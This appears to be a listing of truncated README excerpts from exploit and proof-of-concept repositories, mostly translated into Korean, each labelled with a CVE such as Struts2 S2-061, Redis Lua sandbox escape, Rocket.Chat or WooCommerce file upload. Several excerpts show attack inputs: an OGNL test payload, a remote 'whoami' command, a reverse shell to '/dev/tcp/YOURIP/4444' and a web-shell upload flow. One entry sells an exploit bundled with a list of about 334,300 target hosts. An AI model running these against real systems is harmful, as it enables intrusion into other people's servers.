CVE-2020-1493

CVE-2020-1493 이 취약점은 Windows 10 1909 x64에 설치된 Outlook 201916.0.12624.20424에서 발생하며, 제로 클릭 취약점입니다. TLDR; 이 버그는 winafl 퍼저를 사용하여 발견했습니다. 이 버그는 eml 파일의 첨부 파일인 ms-tnef 파일을 파싱할 때 발생합니다. 취약한 메서드는 vftable 포인터에 대해 범위를 벗어난 데이터를 읽고 사용합니다. 따라서 공격자가 이 취약점을 성공적으로 악용하면 원격 명령 실행이 트리거됩니다. Details First chance...

CVE-2020-17530

무엇인가요 이는 S2-061에 대한 간단한 테스트 프로젝트로, 이 취약점의 세부 사항을 분석하는 데 사용할 수 있습니다. 사용 방법 1단계: IDEA를 사용하여 이 프로젝트를 가져옵니다 2단계: tomcat 서버를 설정합니다 3단계: 브라우저를 사용하여 "http://192.168.174.149:8080/SimpleStrutswarexploded/S2061.action?id=%25%7b8%2a8%7d"에 접속합니다 익스플로잇 방법 SSRF 테스트 POST /SimpleStrutswarexploded/S2061.action...

CVE-2026-33017-Langflow-RCE

██╗ ██╗ ██████╗ ███████╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██║ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔═══██╗██╔════╝ ██║ ██║██║ ██║███████╗███████╗██║ ██║██║ ██║██║ ██║███████╗ ╚██╗ ██╔╝██║ ██║╚════██║╚════██║██║ ██║██║ ██║██║ ██║╚════██║ ╚████╔╝...

CVE-2022-24086-RCE

CVE-2022-24086-RCE CVE-2022-24086 악용 도구. Python 3로 작성되었으며 URL/IP 목록과 호환됩니다. 이 다운로드에는 shodan.io 및 개인 스캔 결과에 따른 334,300개 이상의 잠재적 취약 호스트 목록이 포함되어 있습니다. 이 도구는 오용을 방지하기 위해 무료가 아닙니다. 현재 패치가 적용되고 있지만 대부분의 시스템은 아직 패치되지 않았습니다. 판매 중인 4개의 제한된 사본을 준비했습니다. 구매처:https://satoshidisk.com/pay/CEtVaB 요구 사항 sudo...

CVE-2022-0543

CVE-2022-0543 CVE-2022-0543RCE,Redis Lua 샌드박스 우회 명령 실행 사용법 python3 CVE-2022-0543.py...

CVE-2024-4879

CVE-2024-4879 Exploit & PoC - Nuclei 템플릿 CVE-2024-4879 - ServiceNow의 Jelly 템플릿 인젝션 취약점 ServiceNow는 Vancouver 및 Washington DC Now Platform 릴리스에서 식별된 입력 유효성 검사 취약점을 해결했습니다. 이 취약점으로 인해 인증되지 않은 사용자가 Now Platform 컨텍스트 내에서 원격으로 코드를 실행할 수 있습니다. ServiceNow는 호스팅된 인스턴스에 업데이트를 적용했으며, 파트너 및 자체 호스팅 고객에게 업데이트를...

CVE-2023-0297

CVE-2023-0297 PyLoad 0.5.0b3.dev31에서 인증되지 않은 원격 코드 실행 면책 조항: 이 스크립트는 시스템의 보안을 감사하기 위해 제작되었습니다. 이 스크립트는 본인 소유의 시스템 또는 명시적 허가를 받은 시스템에서만 사용하십시오...

CVE-2024-8425

WordPress WooCommerce Ultimate Gift Card = 2.6.0 - 인증되지 않은 사용자의 임의 파일 업로드 CVE-2024-8425 WordPress용 WooCommerce Ultimate Gift Card 플러그인은 'mwbwgmpreviewmail' 및 'mwbwgmwoocommerceaddcartitemdata' 함수에서 파일 유형 검증이 충분하지 않아 2.6.0 버전을 포함한 모든 버전에서 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의의 파일...

CVE-2022-24112

CVE-2022-24112: Apache APISIX 원격 코드 실행 취약점 go run apisix-exploit.go -t -c 참고: https://nvd.nist.gov/vuln/detail/CVE-2022-24112 https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq...

CVE-2020-17530

S2-061 스크립트는 모두 vulhub의 struts2-059/061 취약점 테스트 환경을 기준으로 작성되었으며, 일반적이지 않으니 고수분들의 많은 조언 부탁드립니다. struts2-061-poc.py 간단한 시스템 명령 실행 가능 사용법: python struts2-061-poc.py http://ip:port command 예시: python struts2-061-poc.py http://192.168.0.7:8080 whoami S2-061-shell.py 리버스 셸 가능 사용법: 1. 먼저 머신 A에서 지정된 포트를...

CVE-2021-32099

CVE-2021-32099 PoC 이 저장소는 CVE-2021-32099 취약점에 대한 개념 증명PoC 익스플로잇을 제공하며, Pandora FMS 742 에 영향을 미칩니다. 이 익스플로잇은 인증되지 않은 공격자가 SQL 삽입 취약점을 악용하여 권한이 없는 세션을 관리자 수준 계정으로 승격시킬 수 있는 방법을 보여줍니다. 관리자 액세스 권한을 획득하면 공격자는 Pandora FMS 파일 관리자를 통해 임의의 PHP 파일을 업로드하여 원격 코드 실행을 유발하고 웹 서버 사용자 권한으로 서버를 손상시킬 수 있습니다. ⚠️ 면책 조...

CVE-2021-23369

CVE-2021-23369 Handlebars CVE-2021-23369 취약점 pip install requests URL 입력 : 취약점 설명 4.7.7 이전의 handlebars 패키지는 신뢰할 수 없는 소스에서 온 템플릿을 컴파일하기 위해 특정 컴파일 옵션을 선택할 때 원격 코드 실행RCE에 취약합니다...

CVE-2023-27842

CVE-2023-27842 eXtplorer 2.1.15 – リモートコード実行後の安全でない権限（認証済み） ベンダーホームページ: http://extplorer.net/ ソフトウェアリンク: http://extplorer.net/attachments/download/99/eXtplorer2.1.15.zip バージョン: 2.1.15 インストール git clone https://github.com/0xFTW/CVE-2023-27842 cd CVE-2023-27842 pip3 install -r requirements.txt 使用方法...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE 즉석 설명 Rocket.Chat 3.12.1의 사전 인증pre-auth NoSQL 인젝션 취약점을 악용하여 관리자의 TOTP 비밀키와 비밀번호 재설정 토큰을 유출하고, 관리자 계정을 탈취한 뒤 악성 웹훅 통합을 통해 RCE를 달성합니다. 영향받는 버전 Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 인자 플래그| 설명 ---|--- -t| 대상 Rocket.Chat URL -u| 등록된 낮은 권한low-priv 사용자 이름 -p| 등...

CVE-2021-2109

설명 Oracle Fusion Middleware의 Oracle WebLogic Server 제품구성 요소: Console에서 취약점이 발견되었습니다. 영향을 받는 지원 버전은 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 및 14.1.1.0.0입니다. 이 취약점은 쉽게 악용될 수 있으며, 네트워크 접근이 가능하고 높은 권한을 가진 공격자가 HTTP를 통해 Oracle WebLogic Server를 손상시킬 수 있습니다. 이 취약점의 성공적인 공격은 Oracle WebLogic Server...

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce 프로토콜이 없는 경우 → 스크립트가 자동으로 http://를 추가합니다 2️⃣ 셸 추가 셸 파일을 같은 디렉터리에 넣으세요: shell.php 3️⃣ 익스플로잇 실행 python3 CVE-2026-3891.py 4️⃣ 대화형 입력 스크립트가 다음 항목을 묻습니다: 대상 파일 기본값: list.txt 스레드 수 기본값: 8 셸 파일 이름 예: shell.php ⚡ 익스플로잇 흐름 1. 🎯 대상 로드 2. 🔑 nonce 요청 3. 📤 셸 업로드 4. 💥 파일을 두 번 업로드...

CVE-2023-38408

OpenSSH 취약점 - CVE-2023-38408 📚 소개 OpenSSH9.3p2 버전 이전에서 취약점이 발견되었습니다. OpenSSH의 ssh-agent에 있는 PKCS11 기능은 검색 경로가 충분히 신뢰할 수 없어, 에이전트가 공격자가 제어하는 시스템으로 포워딩되는 경우 원격 코드 실행이 가능합니다/usr/lib의 코드가 ssh-agent에 로드되기에 반드시 안전하지는 않음. 이 결함으로 인해 서버에서 포워딩된 에이전트 소켓을 제어하고 클라이언트 호스트의 파일 시스템에 쓰기 권한이 있는 공격자가 ssh-agent를 실행하...

git-vuln-finder

git-vuln-finder Finding potential software vulnerabilities from git commit messages. The output format is a JSON with the associated commit which could contain a fix regarding a software vulnerability. The search is based on a set of regular expressions against the commit messages only. If CVE ID...

go-get-rce

이 저장소에는 README가 없습니다...

CVE-2017-3066

CVE-2017-3066 説明 Adobe ColdFusion は Action Message Format AMF を使用します。AMF プロトコルはカスタムバイナリシリアライゼーションプロトコルです。AMF0 と AMF3 の 2 つの形式があります。Action メッセージはヘッダーとボディで構成されます。AMF にはさまざまな言語の実装があります。Java には Adobe BlazeDS 現在は Apache BlazeDS があり、これは Adobe ColdFusion でも使用されています。 Adobe ColdFusion は、信頼できない Java...